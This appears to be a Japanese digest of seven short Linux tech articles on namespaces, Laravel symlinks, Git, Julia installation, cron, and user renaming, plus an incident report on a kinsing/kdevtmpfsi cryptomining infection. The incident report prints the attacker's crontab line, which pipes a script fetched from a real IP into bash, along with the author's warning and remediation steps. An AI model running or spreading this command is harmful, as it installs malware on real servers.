20210303のLinuxに関する記事は7件です。

unshareコマンドで、Namespaceを作成してみる

こんにちは。

Dockerの仕組みを学習して、コンテナはNamespaceなどのLinuxの機能で出来ている事が判明し、Namespaceを自分で作成できることがわかったので試してみました。
今回はプロセスの分離と、ホスト名の分離を行いました。

$ unshare コマンドでNamespaceを作成してみる

筆者はCentOS7環境で行っています。

プロセスの分離(PID, Mount)

まず$ps axで通常のNamespaceのプロセスを表示します。

たくさん表示されます。

$ ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:01 /usr/lib/systemd/systemd --switched-root --system --d
    2 ?        S      0:00 [kthreadd]
    3 ?        S      0:00 [kworker/0:0]
    4 ?        S<     0:00 [kworker/0:0H]
    5 ?        S      0:00 [kworker/u4:0]  
    ~~~
    2195 pts/0    R+     0:00 ps ax

Namespaceを作成するために以下のコマンドを実行します。

$ sudo unshare --pid --mount-proc --fork /bin/bash
  • --pidは、PID Namespaceを分離します。
  • --mount-procは、/procディレクトリをマウントする設定で、これを指定しないと親のpid名前空間の情報を出力してしまいます。 /procディレクトリは、システムの状態などが保管されている特殊なディレクトリで、これらはメモリ上に保存される仮想ファイルと呼ばれるものです。
  • --forkは指定されたプログラムを直接実行するのではなく、unshareの子プロセスとしてフォークします。

PID Namespaceを作成する際は、これらがセットで用いられるのが一般的のようです。

新たなNamespaceで$ps axを実行すると、bashpsのみが表示され、プロセス空間が分離されていることがわかります。

# ps ax
  PID TTY      STAT   TIME COMMAND
    1 pts/0    S      0:00 /bin/bash
   14 pts/0    R+     0:00 ps ax

確認ができたので、$exitで元の名前空間に戻ります。

# exit
exit

ホスト名の分離(UTS)

今度はホスト名の分離をします。
ホスト名はUTS Namespaceで管理されています。

$hostnameで現在のホスト名を確認します。

$ hostname
localhost.localdomain

以下のコマンドでUTS Namespaceを分離します。

$ sudo unshare -u /bin/bash
  • -uはUTS Namespaceを分離します。

以下のコマンドでホスト名newhostに変更します。

# hostname newhost

再度$hostnameを実行し、ホスト名が変更されたことを確認します。

# hostname
newhost

$exit元のNamespaceに戻ります。

# exit
exit

最後にもう一度$hostnameを実行し、元のNamespaceではホスト名が変更されていない事が確認できます。

$ hostname
localhost.localdomain
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel 画像の投稿機能とシンボリックリンク

はじめに

Laravelにて簡単な画像付きレシピ投稿アプリを作成しています。
画像のアップロード機能を実装した際にシンボリックリンクという言葉を初めて知ったので、備忘録として記録しておくことにしました。

シンボリックリンクとは

Windouwsでいうところのショートカットのようなもの。
シンボリックリンクファイルを通して大元のフォルダを参照することができます。

やりたいこと

投稿フォームから画像を選択し送信ボタンを押すと一覧で表示されるという仕組み。

画像ファイルを選択し送信ボタンをクリック
image.png
一覧画面へ画像を表示
ここでレシピ投稿アプリなのに料理の写真ねーじゃん!とツッコまれる
image.png

画像の保存先

さて、コントローラーで受け取った画像ファイルは基本的に storage/app/public/image 内に保存させます。

RecipeController.php
public function create(Request $request){
        $recipe = new Recipe;
        $form = $request->all();

        //画像が送信されたら保存して $recipe->image_pathカラム にパスを保存する
        if (isset($form['image'])) {//変数に値が入っているかをチェック
            $path = $request->file('image')->store('image');// 画像をstorage/app/public/image配下に保存
            $recipe->image_path = basename($path);//パスからを取得したファイル名をimage_pathカラムに保存
        } else {
            $recipe->image_path = null;
        }

        unset($form['_token']);
        unset($form['image']);

        $recipe->fill($form)->save();
        return redirect('/home');
    }

ただ、実際にアプリケーションを起動するときに公開されるのはpublicディレクトリのみです。画像はstorage/app/public/imageに保存されているので画像データを持ってくることはできません。
そんなときにpublicディレクトリからstorage/app/public/imageへのショートカット機能の役割を果たすのががシンボリックリンクです。

シンボリックリンクの貼り方

artisanコマンドから簡単にできます。
まずpublicディレクトリへ移動します。

$ cd public

以下のコマンドを実行します。

$ php artisan storage:link

するとpublic内にstorageフォルダができます。(ショートカットが作成されるの方がわかりやすいかも)
矢印ができます。

image.png

public/imageと進んでいくと、storage/app/public/imageと同じ画像ファイルが存在していることがわかるかと思います。

ビューに画像を表示させる

画像表示部分のみ

home.blade.php
<img src="{{ asset('storage/image/' . $recipe->image_path) }}" width="100%" heigth="100%" alt="">

asset('ファイルパス')はpublicディレクトリのパスを返す関数です。
丁寧に書くと、app/public/storage/image/[画像のパス名]となるわけです。
さっきシンボリックリンクを貼ったおかげでこのフォルダパスを通すことができました。

終わり。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

kinsing(kdevtmpfsi)という厄介なマルウェアにかかった話

EC2が急にCPU100%のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ?ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。

【注意】下記のシェルURLは絶対に叩かないでください!!

[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx
nginx     2296  0.0  0.3 404256  1432 ?        S     2月14   0:10 php-fpm: pool www
nginx     2297  0.0  0.3 402228  1584 ?        S     2月14   0:09 php-fpm: pool www
nginx     2298  0.0  0.2 404268  1232 ?        S     2月14   0:10 php-fpm: pool www
nginx     2299  0.0  0.3 404252  1584 ?        S     2月14   0:10 php-fpm: pool www
nginx     2301  0.0  0.3 402232  1616 ?        S     2月14   0:10 php-fpm: pool www
root      2304  0.0  0.0 125972     0 ?        Ss    2月14   0:00 nginx: master process /usr/sbin/nginx
nginx     2306  0.0  0.0 126384   396 ?        S     2月14   0:02 nginx: worker process
nginx     2307  0.0  0.0 126384   160 ?        S     2月14   0:00 nginx: worker process
nginx     2762  0.0  0.2 402212  1396 ?        S     2月14   0:10 php-fpm: pool www
nginx     9152  0.0  0.2 404256  1416 ?        S    04:28   0:06 php-fpm: pool www
nginx    20413  0.0  0.7 718484  3412 ?        Sl   20:50   0:00 /tmp/kinsing
nginx    20564  197 56.3 788140 266128 ?       Ssl  20:51  76:19 /tmp/kdevtmpfsi
root     22545  0.0  0.1 119436   864 pts/0    S+   21:30   0:00 grep --color=auto nginx
[root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron
[root@ip-xxx-xxx-xxx-xxx cron]# ll
合計 4
-rw------- 1 nginx nginx 74  2月 15 20:50 nginx
[root@ip-xxx-xxx-xxx-xxx cron]# cat nginx
* * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1

[root@ip-xxx-xxx-xxx-xxx tmp]# pwd
/tmp
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a
合計 4
drwxrwxrwt 11 root  root  4096  2月 15 21:44 .
dr-xr-xr-x 19 root  root   288  6月  2  2020 ..
drwxrwxrwt  2 root  root     6  6月  1  2020 .ICE-unix
drwxr-xr-x  2 nginx nginx   18  2月 11 21:41 .ICEd-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .Test-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .X11-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .XIM-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .font-unix
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/
合計 0
drwx------ 2 root root  6  2月 15 21:38 .
drwxr-xr-x 9 root root 97  5月 27  2020 ..

何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。

対処方法

kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。

[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing”
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”

本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。

また、.env の APP_DEBUG がtrue になってたら false に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。

yumとcomposerは定期的にアップデートした方がよさそうです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Git覚え書き

Gitチュートリアル

準備

apt-get update
apt-get install -y git
apt-get install -y vim

設定

git config --global user.name "Shoichiro Kanno"       # 名前(必須)
git config --global user.email "s-kanno@example.com"  # メールアドレス(必須)
git config --global color.ui true                     # カラー表示(任意)
git config -l                                         # 設定内容確認
git config --global --unset {key}                     # 設定項目の削除
git config --global credential.helper 'store --file ~/.git_credentials' # 認証情報を記憶

基本的な使い方

git init             # 初期化
git add hogehoge.txt # 特定のファイル・変更を追加
git add .            # すべてのファイル・変更を追加
git rm hogehoge.txt  # ファイル削除
git mv hogehoge.txt foofoo.txt # ファイル移動
git commit           # コミット
git commit --amend   # 直前のコミットの変更を変更する
git log              # 履歴表示
git log --oneline    # 履歴表示(1行表示)
git log -p           # 履歴表示(変更箇所付き)
git log --stat       # 変更履歴(変更ファイル名付き)
git status           # 状態を表示
git checkout -- hogehoge.txt # commitされている状態に戻す
git diff             # 変更箇所を表示
git diff --cached    # ステージングエリア(コミット前)の変更箇所

vi .gitignore        # 無視するファイルを設定

git reset --hard HEAD       # コミットされている状態に戻す(ファイルの変更、追加も打ち消す)
git reset --hard HEAD^      # HEADから1つ前のコミットに戻す(すべて打ち消す)
git reset --soft HEAD^      # HEADから1つ前のコミットに戻す(ワーキングツリー・インデックスはそのまま)
git reset --mixed HEAD^     # HEADから1つ前のコミットに戻す(ワーキングツリーはそのまま)
git reset --hard {id}       # 特定のコミットに戻る
git reset --hard ORIG_HEAD  # 持っどったのを戻る

git reflog                  # HEADが辿ってきた履歴

git branch                    # ブランチの一覧
git branch {branch_name}      # ブランチの作成
git branch -d {branch_name}   # ブランチの削除
git checkout {branch_name}    # ブランチの切り替え
git checkout -b {branch_name} # ブランチを作成、同時に切り替え
git merge {branch_name}       # ブランチのマージ
git merge --squash {branch_name} # マージするブランチのコミットを1コミットにまとめる ※別途コミットすること

git tag {tag_name}      # 直近のコミットにタグを付ける
git tag {tag_name} {id} # 特定のコミットにタグを付ける
git tag -d {tag_name}   # タグの削除
git show {tag_name}     # タグのコミットを表示

git clone {url} {dir_name} # クローン
git push                   # プッシュ
git pull                   # プル
git push --set-upstream origin {branch_name} # ブランチを作って初回のプッシュ

git stash -u                      # 変更内容を退避(-uを付けるとaddをしていないファイルも退避する)
git stash -u save "stash message" # メッセージを付けて変更内容を退避
git stash list                    # stashの一覧を表示
git stash apply stash@{0} --index # stashした状態に戻す(--indexを付けないとaddを行った情報がなくなる)
git stash drop stash@{0}          # stashを削除

# branch1へbranch2を取り込む。その歳、branch1の最新のコミットからbranch2のコミットを追加する。
git rebase {branch1_name} {branch2_name}

git cherry-pick {id} # 特定のコミットを取り込む

git revert [id] # 特定のコミットを消す

小ネタ

# git logで文字化けする場合の対応
vim ~/.bashrc
export LESSCHARSET=utf-8
source ~/.bashrc
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Juliaのインストール方法(Windows, Mac,Linux)

はじめに

Juliaは2009年にMITに在籍していた4人の研究者が開発を始め,2012年にオープンソースソフトウェアとして公開が始まった.高速な動作,シンプルな構文,外部ライブラリとの連携が可能という特徴がある.
今回はJuliaのインストール方法についてまとめた.

インストール方法

Windows

https://julialang.org/downloads/にアクセスし,パソコンのbit数にあわせてダウンロードする.installerまたはportableのどちらでも良い.installerをダウンロードした場合,ダブルクリックしJuliaをインストールする.
portableをダウンロードした場合,zipファイルを展開し,適当なディレクトリに移動させる.

PATHを通す

コマンドラインから実行できるようにPATHを通す.
実行ファイルの場所を確認しPATHを追加する1
installerを使ってインストールした場合は次のようにPATHを追加する.

C:\Users\(ユーザー名)\AppData\Local\Programs\Julia 1.5.3\bin

macOS

https://julialang.org/downloads/にアクセスし,macOS版をダウンロードする.ダウンロードしたファイルをダブルクリックする.
Applicationsフォルダに移動させる.
Julia-1.5.appをopenする.

シンボリックリンクの設定

ターミナルから実行できるようにシンボリックリンクを設定する.
/usr/local/binにPATHが通っているため,次のようにコマンドを実行し,この場所に設定する.

rm -f /usr/local/bin/julia
ln -s /Applications/Julia-1.5.app/Contents/Resources/julia/bin/julia /usr/local/bin/julia

Linux

今回インストールした環境は次の通りである.

  • WSL Ubuntu 18.04 LTS

Generic Linux on x86の64bitをwgetコマンドでダウンロードする.
https://julialang.org/downloads/
にアクセスし,ダウンロードしたいファイルを右クリックし,リンクのURLをコピーすることでURLを確認できる.

wget https://julialang-s3.julialang.org/bin/linux/x64/1.5/julia-1.5.3-linux-x86_64.tar.gz

次に,tarコマンドでファイルを展開する.

tar zxvf julia-1.5.3-linux-x86_64.tar.gz

シンボリックリンクの設定

展開したファイルを適当な場所に移動させるが,今回は/optに移動させた.

sudo mv julia-1.5.3 /opt

次に,シンボリックリンクを設定する.
/usr/local/binにPATHが通っているためこの場所に設定する.

sudo ln -s /opt/julia-1.5.3/bin/julia /usr/local/bin/julia

実行方法

julia --version

と入力し,正しく設定されていることを確認する.
コマンドラインでjuliaと入力するとREPLが起動し,プログラムを実行できる.
REPLを終了する場合はexit()と入力する.
ファイルに書いたプログラムを実行する場合は

julia ファイル名

と入力する.

参考


  1. PATHの通し方はこの記事などを参照 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

cronを一定確率で実行する

crontab -e
# 毎分1%の確率でecho hoge
* * * * * [ $((RANDOM \% 100)) -eq 1 ] && echo hoge

# 毎分33%の確率でecho hoge
* * * * * [ $((RANDOM \% 100)) -lt 33 ] && echo hoge

味噌は「%」にはエスケープが必要ということです。
ハマったので誰かの助けになれば幸いです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Linux(WSL2)のユーザー名を変更する

はじめに

Linux(やWindows等のOS)は、よほど特殊な使い方をしない限り初めにユーザーを登録し、そのユーザーとしてログインして使用します。
しかし、Typo等で誤ったユーザー名で作成したものを修正したい場合や、後からユーザー名を変更したいという場合があります。
そのような場合のユーザ名変更方法の覚書です。

実行環境

今回は次のような環境で説明します。

  • WSL2による仮想環境
  • Ubuntu 20.04.2 LTS

基本的には、Linuxであれば他のOSであっても同様の方法で問題ないとは思います。
但し、既存の他の管理者ユーザー(rootユーザー等)としてログインできるかによって途中の手順が増えたり減ったりするのでその点だけご確認ください。
(SSHで接続するような場合はrootユーザーでのログインを禁止していることが多いので…)

また、rootユーザーとしてログインするかどうかに関わらず、管理者権限を有していることが前提です。
管理者権限がない場合はこの方法を使用できないのでご注意ください。
(変更対象のユーザーが管理者権限を有している必要はありません)

なお、本記事ではコードクオートの装飾の関係上、プロンプトが$sudoからコマンドを入力していますが、rootユーザーであればそもそも管理者権限としてプロンプトが#となっているのでsudoは省略してください。

忙しい人のために

結論だけ書きます。
root等、変更対象以外のユーザーで次のようにコマンドを入力すれば変更可能です。

$ sudo usermod -l <変更後ユーザー名> -d /home/<変更後ユーザー名> -m <変更前ユーザー名>
$ sudo groupmod -n <変更後ユーザー名> <変更前ユーザー名>

手順

大まかな流れは以下の通りです。

  1. 変更対象のユーザーで起動したプロセスを全て終了する
  2. 変更対象以外の管理者ユーザーでログインする
  3. usermodコマンドでユーザー名とホームディレクトリを変更する
  4. groupmodコマンドで当該ユーザーのプライマリーグループの名称も変更する

なお、変更対象以外のユーザーを用いるのは、usermodコマンドによるユーザー名の変更の際にそのユーザーがログインしていてはならない1ためです。
今回は例としてユーザー名hogefugaに変更します。

プロセスの終了

次のようにコマンドを入力を入力することで、当該ユーザーで実行中のプロセスを確認することができます。
実行結果に、bash等の現在使用しているターミナルやps以外が含まれていないことを確認してください。

hoge$ ps ux

(実行例)

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
hoge       202  0.0  0.0  10052  5128 pts/0    Ss   02:25   0:00 -bash
hoge       218  0.0  0.0  10616  3248 pts/0    R+   02:25   0:00 ps ux

なお、筆者の環境では、./fsnotifier-wsldocker serveなどが実行中となっていました。
これらは、ホストマシンであるWindows側で起動している、JetBrains製IDEやDocker Desktopによるものです。
従って、ホストマシン側のプロセスを終了する必要がある場合もあります。

ぶっちゃけホストマシンごと再起動した直後にやったほうが賢いとは思います。

管理者ユーザーの作成

rootユーザー等、変更対象以外の管理者ユーザーとしてログイン可能な場合は、この手順を飛ばしてください。
WSL2環境でホストマシンから直接操作する場合はrootログインできるハズ…

次のようにコマンドを入力し、変更対象以外の管理者ユーザーを作成します。
ここではこのユーザーをtmpadminとします。
(adminというグループが既存な場合が多いので…)
なお、このユーザーに対してホームディレクトリを作成したくない場合は-m-Mに置き換えてください。

hoge$ sudo useradd -m -s /bin/bash tmpadmin

また、rootログインできない環境ならば十中八九パスワードが必要なので、次のようにtmpadminにパスワードを設定します。
コマンド入力後に対話式でパスワードを設定する流れです。

hoge$ sudo passwd tmpadmin
New password:
Retype new password:

変更対象のユーザーでログインしたままではユーザー名が変更できないので、一旦ログアウトします。

管理者ユーザーとしてログイン

WSL2であれば、コマンドプロンプトやPowerShell等で次のようにコマンドを入力することで、管理者ユーザー(root)でログインできます。

> wsl -u root

WSL2以外の環境であれば、SSHや実機のコンソール等で、rootユーザーか先程作成した管理者ユーザーとしてログインしてください。

> ssh tmpadmin@example.com

ユーザー名の変更

ユーザー名の変更にはusermodコマンドを使用します。

usermodコマンドの基本的な記法は次のようなものです。

$ sudo usermod [オプション] <対象ユーザー名>

このオプションにて変更したい内容等を指定します。

今回は、ユーザー名を変更したいので、-l(--login)オプションを用いて、変更後のユーザー名を指定します。
次のようなコマンドとなります。
(これはまだ入力しないでください)

tmpadmin$ sudo usermod -l fuga hoge

また、ユーザー名はホームディレクトリの名称にも用いられているので、ホームディレクトリも変更します。
-d(--home)オプションで変更後のディレクトリを指定します。
また、変更後のディレクトリに現在のホームディレクトリの内容を引き継ぎたいので、-m(--move-home)オプションを付加します。
よって、ディレクトリの変更(引き継ぎ)は次のようなコマンドとなります。
なお、ホームディレクトリの場所を変更している場合は/homeの部分を置き換えて適宜対応してください。
(これもまだ入力しないでください)

tmpadmin$ sudo usermod -d /home/fuga -m hoge

よって、今回ユーザー名hogefugaに変更するために、上記2つのオプションを組み合わせた次のようなコマンドを入力することになります。
(これを入力してください)

tmpadmin$ sudo usermod -l fuga -d /home/fuga -m hoge

グループ名の変更

通常、ユーザーにはプライマリーグループとして、ユーザー名と同名のグループが割り当てられています。
このグループについても名称を変更します。

グループ名の変更にはgroupmodコマンドを使用します。

groupmodコマンドの基本的な記法は次のようなものです。

$ sudo usermod [オプション] <対象グループ名>

usermodのときと同様に、このオプションにて変更したい内容等を指定します。

今回は、グループ名を変更したいので、-n(--new-name)オプションを用いて、変更後のグループ名を指定します。
今回はグループ名hogefugaに変更する(基本的にはユーザー名と同名なので)ので、次のようなコマンドを入力することになります。

tmpadmin$ sudo groupmod -n fuga hoge

確認

ユーザー一覧は/etc/passwdで、グループ一覧は/etc/groupで確認することができます。
恐らくファイルの末尾付近に当該ユーザーがあると思うので、変更前の名称が残っていないか、変更後の名称が記載されているかを確認してください。
また、/home/配下のディレクトリ一覧も確認し、変更前の名称のディレクトリが残っていないか、変更後の名称のディレクトリが存在するかも確認してください。

$ sudo less /etc/passwd
$ sudo less /etc/group
$ ls -al /home

なお、ファイルが長くて読めないという場合等は、grepコマンドと組み合わせて以下のように調べることも可能です。

$ sudo cat /etc/passwd | grep hoge
$ sudo cat /etc/passwd | grep fuga
$ sudo cat /etc/group | grep hoge
$ sudo cat /etc/group | grep fuga
$ ls -al /home | grep hoge
$ ls -al /home | grep fuga

管理者ユーザーの削除

今回管理者ユーザーを作成した場合の手順です。
rootユーザー等既存のユーザーを使用した場合は読み飛ばしてください。
(と言っても、この記事にこれより後はありませんが…)

今まで作業していたtmpadminからログアウトして、他の管理者ユーザー(今回名称を変更したユーザー等)でログインし直してください。

ユーザーの削除にはuserdelコマンドを使用します。
ここで、ユーザーディレクトリ等も削除するために、-rオプションを付加します。
よって、tmpadminというユーザーを削除するためには、次のようなコマンドを入力することになります。

fuga$ sudo userdel -r tmpadmin

このとき、userdel: tmp mail spool (/var/mail/tmp) not found等のエラーが表示されるかと思いますが、無視して問題ありません。

先程と同様に、tmpadminユーザーが残っていないか確認してください。

tmpadmin$ sudo cat /etc/passwd | grep tmpadmin
tmpadmin$ sudo cat /etc/group | grep tmpadmin
tmpadmin$ ls -al /home | grep tmpadmin

参考

【 usermod 】コマンド――ユーザーアカウントの情報を変更する:Linux基本コマンドTips(73) - @IT
【 groupmod 】コマンド――グループIDや名前を変更する:Linux基本コマンドTips(260) - @IT
【 useradd 】コマンド――新規ユーザーを作成する:Linux基本コマンドTips(255) - @IT
【 userdel 】コマンド――ユーザーを削除する:Linux基本コマンドTips(257) - @IT


  1. 厳密には、そのユーザーで実行中のプロセスが存在してはならない 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む